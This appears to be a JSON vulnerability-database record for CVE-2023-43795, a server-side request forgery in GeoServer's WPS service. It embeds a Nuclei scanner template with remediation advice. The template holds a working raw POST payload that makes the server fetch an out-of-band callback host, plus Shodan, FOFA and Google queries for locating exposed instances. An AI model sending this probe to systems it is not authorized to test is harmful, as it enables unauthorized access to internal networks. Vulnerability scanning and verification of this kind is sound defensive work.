{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-43795/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-43795/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-43795/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-43795/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-43795/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-43795"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-43795"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-43795.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-43795\n\ninfo:\n  name: GeoServer WPS - Server Side Request Forgery\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. The OGC Web Processing Service (WPS) specification is designed to process information from any server using GET and POST requests. This presents the opportunity for Server Side Request Forgery. This vulnerability has been patched in version 2.22.5 and 2.23.2.\n  impact: |\n    Unauthenticated attackers can exploit SSRF through the WPS service to make arbitrary HTTP requests and access internal network resources, potentially compromising the entire GeoServer infrastructure and accessing sensitive geospatial data.\n  remediation: |\n    Update GeoServer to version 2.22.5 or 2.23.2 or later that validates URLs in WPS requests and restricts access to authorized external resources only.\n  reference:\n    - https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms.html\n    - https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-43795\n    - https://github.com/20142995/sectool\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-43795\n    cwe-id: CWE-918\n    epss-score: 0.67715\n    epss-percentile: 0.99293\n    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - title:\"GeoServer\"\n      - http.title:\"geoserver\"\n    fofa-query:\n      - app=\"GeoServer\"\n      - app=\"geoserver\"\n      - title=\"geoserver\"\n    google-query: intitle:\"geoserver\"\n  tags: cve2023,cve,geoserver,ssrf,oast,oos,osgeo,vkev,vuln\nvariables:\n  oast: \"{{interactsh-url}}\"\n  string: \"{{to_lower(rand_text_alpha(4))}}\"\n  value: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST {{path}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <wps:Execute version=\"1.0.0\" service=\"WPS\"\n          xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n          xmlns=\"http://www.opengis.net/wps/1.0.0\"\n          xmlns:wfs=\"http://www.opengis.net/wfs\"\n          xmlns:wps=\"http://www.opengis.net/wps/1.0.0\"\n          xmlns:ows=\"http://www.opengis.net/ows/1.1\"\n          xmlns:gml=\"http://www.opengis.net/gml\"\n          xmlns:ogc=\"http://www.opengis.net/ogc\"\n          xmlns:wcs=\"http://www.opengis.net/wcs/1.1.1\"\n          xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n                xsi:schemaLocation=\"http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd\">\n          <ows:Identifier>JTS:area</ows:Identifier>\n          <wps:DataInputs>\n            <wps:Input>\n              <ows:Identifier>geom</ows:Identifier>\n              <wps:Reference mimeType=\"application/json\" xlink:href=\"https://{{oast}}\" method=\"GET\">\n                <wps:Header key=\"{{string}}\" value=\"{{value}}\"/>\n              </wps:Reference>\n            </wps:Input>\n          </wps:DataInputs>\n          <wps:ResponseForm>\n            <wps:RawDataOutput>\n              <ows:Identifier>result</ows:Identifier>\n            </wps:RawDataOutput>\n          </wps:ResponseForm>\n        </wps:Execute>\n\n    payloads:\n      path:\n        - /wms\n        - /geoserver/wms\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'http')\n          - contains_all(to_lower(interactsh_request), '{{string}}','{{value}}')\n          - status_code == 200\n        condition: and\n# digest: 4a0a00473045022100de21ac2a1133ed6100c69a509239be7fe5d18b6ae19c8924f7176e5e76d18ecd02203cd52e8d3e19fa9dee0cbbce77370fef41a5eea30e261f250cc96d8b2a456ecb:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-43795"
}